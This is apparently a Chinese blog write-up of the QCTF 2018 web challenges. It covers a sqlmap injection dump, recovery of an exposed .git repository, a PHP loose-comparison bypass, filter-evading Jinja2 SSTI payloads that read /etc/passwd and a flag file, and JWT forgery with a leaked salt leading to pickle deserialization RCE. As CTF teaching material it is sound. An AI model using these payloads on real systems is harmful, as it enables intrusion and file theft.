玩了下QCTF的Web部分,非职业赛棍学到了不少的东西,Web部分同时感觉并不是很难,可能是因为同样是X-Man选拔赛的原因,Web,RE,Misc等考点比较全面,ORZ。写的时候赛题已经关闭,但还是尽量写清楚。
嗯,签到题,搜索框的POST参数存在注入,抓包如下:
保存到1.txt,扔进SQLMAP。
python sqlmap.py -r 1.txt --threads 5 --level 3 -D "news" -T "secret_table" --dump
直接跑出FLAG
这个题目的思路很简单,直接购买FLAG就行,没错,有钱就是可以为所欲为…… ORZ
扫描后发现.git目录,直接使用dvcs-ripper工具进行还原
./rip-git.pl -m -o /root/dvcs-ripper-master/ -v -u http://47.96.118.255:8888/.git/
得到源代码后进行审计,找到问题的处理函数
function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION['money']; $numbers = $req['numbers']; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION['money'] = $money; response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); }
我们要增加我们的金币,就需要在switch/case这里选择靠后开关,
case 7: $prize = 5000000; break;这里会被写入我们用于存储金币session中$money += $prize - 2;$_SESSION['money'] = $money;$same_count生成的时候,这里使用了==存在弱类型比较for($i=0; $i<7; $i++){if($numbers[$i] == $win_numbers[$i]){$same_count++; }}
我们直接利用true让if的判断表达式返回值一直为真
<?phpfunction random_num(){ do { $byte = openssl_random_pseudo_bytes(10, $cstrong); $num = ord($byte); } while ($num >= 250); if (!$cstrong) { response_error('server need be checked, tell admin'); } $num /= 25; return strval(floor($num));}function random_win_nums(){ $result = ''; for ($i = 0; $i < 7; $i++) { $result .= random_num(); } return $result;}echo random_win_nums() == true; //true
后直接修改发送请求的内容,就能有足够的钱购买FLAG,为所欲为。。。。
{"action":"buy","numbers":[true,true,true,true,true,true,true]}
confusion1的描述
One day, Bob said "PHP is the best language!", but Alice didn't agree it, so Alice write a website to proof it. She published it before finish it but I find something WRONG at some page.(Please DO NOT use scanner!)
进入题目后,把里面的东西都点了点,发现是一个和描述一样的网站,功能不全,点击登陆和注册都是404。
404的页面会把不存在的页面路径作为提示输出在页面,首先想到XSS,但没找到XSS提交点。
还发现了网页注释提示Flag藏在服务器目录下,那这就不该是XSS。
<!--/opt/salt_b420e8cfb8862548e68459ae1d37a1d5.txt--> <!--/opt/flag_b420e8cfb8862548e68459ae1d37a1d5.txt-->
然后网页正中间的图片是蟒蛇缠着大象,那这个题目应该就是和Python有关。
404页面 + Python 很容易就联想到 Flask jinja injection(SSTI)。
于是做了一个测试{% raw %} {{ 12 }} {% endraw %} ,发现页面的提示输出变成了12,这里已经可以确定是SSTI。
以前就有类似的题目,直接用以前的Payload
{% raw %} {{ ().__class__.__bases__[0].__subclasses__()[40]("/etc/passwd").read() }} {% endraw %}
发现存在简单的过滤,过滤了__class__,__subclasses__,read等关键字
这里我们可以将过滤的属性名变为参数拼接起,就能绕过过滤。
于是我编写了Payload
{% raw %} {{ getattr(getattr(getattr(getattr((), '__cl' + 'ass__'), '__bases__')[0], '__sub' + 'classes__')()[40]('/etc/passwd', 'r'),'r' + 'ead')() }} {% endraw %}
本地测试通过,能够成功读取文件,但是发现这个题目很奇怪发现是500。
卡了很久,后面发现是getattr函数选择上出现了错误。
当输入{% raw %} {{ geattr }} {% endraw %}后,页面并没有返回<built-in function getattr>信息
题目应该是删除或者过滤了这个函数。
这我们就选择__getattribute__,输入{% raw %} {{ (). __getattribute__ }} {% endraw %},成功返回信息
<method-wrapper '__getattribute__' of tuple object at 0x0000000005057378>
修改Payload如下,成功获取FLAG
{% raw %}{{[].__getattribute__('__cla'+'ss__').__base__.__getattribute__([].__getattribute__('__cla'+'ss__').__base__,'__subclas'+'ses__')()[40]('/opt/flag_b420e8cfb8862548e68459ae1d37a1d5.txt','r').__getattribute__('r'+'ead')()}} {% endraw %}
这需要注意的是第三个__getattribute__函数是需要传入两个参数的__getattribute__(object,attribute)
其实这个函数本身就有两个参数,当我们通过(). __getattribute__这种指定对象的方式调用的时候object为self并且自动传入函数, 但是当我们使用__base__基类对象进行调用__getattribute__的时候就需要指定object
confusion2的描述
Finally Alice finished her website and published it, but I find something STRANGE when Alice said hello to me. PS: Alice said she likes add salts when she was cooking. hint:Alice likes adding salt at the LAST.
首先是注册和登陆,有个常规验证码,直接跑出来
$i = 0; for ($i; $i < 100000000; $i++) { if (substr(md5($i), 0, 6) == '5bc395') { echo $i; exit(); } }
注册后登陆
GET /index.php HTTP/1.1 Host: 47.96.118.255:23333 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://47.96.118.255:23333/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=42a53fff-6354-45a3-afcd-c922f2c0d5ba; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI1NSJ9.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NjA6XCIobHAxXG5WUmFpNG92ZXJcbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.OTY0OWRhMGE5ZTc4N2E1NmVjOWJlNzJmMTIwZjdmMjAzMmE4OGNlODMzYTJmMWY0MjA4YzRlMGFlMDlhNGE0Zg Connection: close
发现Cookie里面存在一个token的键,并且键值为JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJzaGEyNTYiLCJraWQiOiI1NSJ9.eyJkYXRhIjoiTzo0OlwiVXNlclwiOjI6e3M6OTpcInVzZXJfZGF0YVwiO3M6NjA6XCIobHAxXG5WUmFpNG92ZXJcbnAyXG5hUydlMTBhZGMzOTQ5YmE1OWFiYmU1NmUwNTdmMjBmODgzZSdcbnAzXG5hLlwiO30ifQ.OTY0OWRhMGE5ZTc4N2E1NmVjOWJlNzJmMTIwZjdmMjAzMmE4OGNlODMzYTJmMWY0MjA4YzRlMGFlMDlhNGE0Zg
Decode后如下图
这里比较关键的是生成签名的算法并非标准的JWT算法HS256 ES256等,而是使用的sha256,卡了好久。
以为header里面的"alg": "sha256"只是单纯的改了而已
这里还有就是要用到上面的salt文件的提示,这个文件里存储着salt,值为_Y0uW1llN3verKn0w1t_。
根据这个题目的提示我们可以知道这个salt的位置为最后
第三部分的签名生成格式如下,那么我们就可以伪造JWT了
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload); var signature = SHA256(encodedString + '_Y0uW1llN3verKn0w1t_');
再看看Payload的内容
{ "data": "O:4:\"User\":2:{s:9:\"user_data\";s:60:\"(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.\";}" }
data的键值字符串是一串php序列化的字符串
O:4:\"User\":2:{s:9:\"user_data\";s:60:\"(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.\";}
User类,包含user_data这个属性,属性的值为,长度为60
(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.
这个值是Python序列化的字符串
>>> import pickle >>> pickle.loads("(lp1\nVRai4over\np2\naS'e10adc3949ba59abbe56e057f20f883e'\np3\na.") [u'Rai4over', 'e10adc3949ba59abbe56e057f20f883e']
这里我们直接联想到Python反序列化的RCE,这里不再赘述。
我们首先构造好Python的RCE的字符串然后,放进PHP的序列化的字符串里面,然后直接根据上文JWT算法算出对应的签名,替换Cookie,就能执行任意命令,Flag通过HTTP外带出来就行了。
感谢指点的各位大师傅。博客:http://www.rai4over.cn/2018/07/16/Web-QCTF-WrtieUp-2018/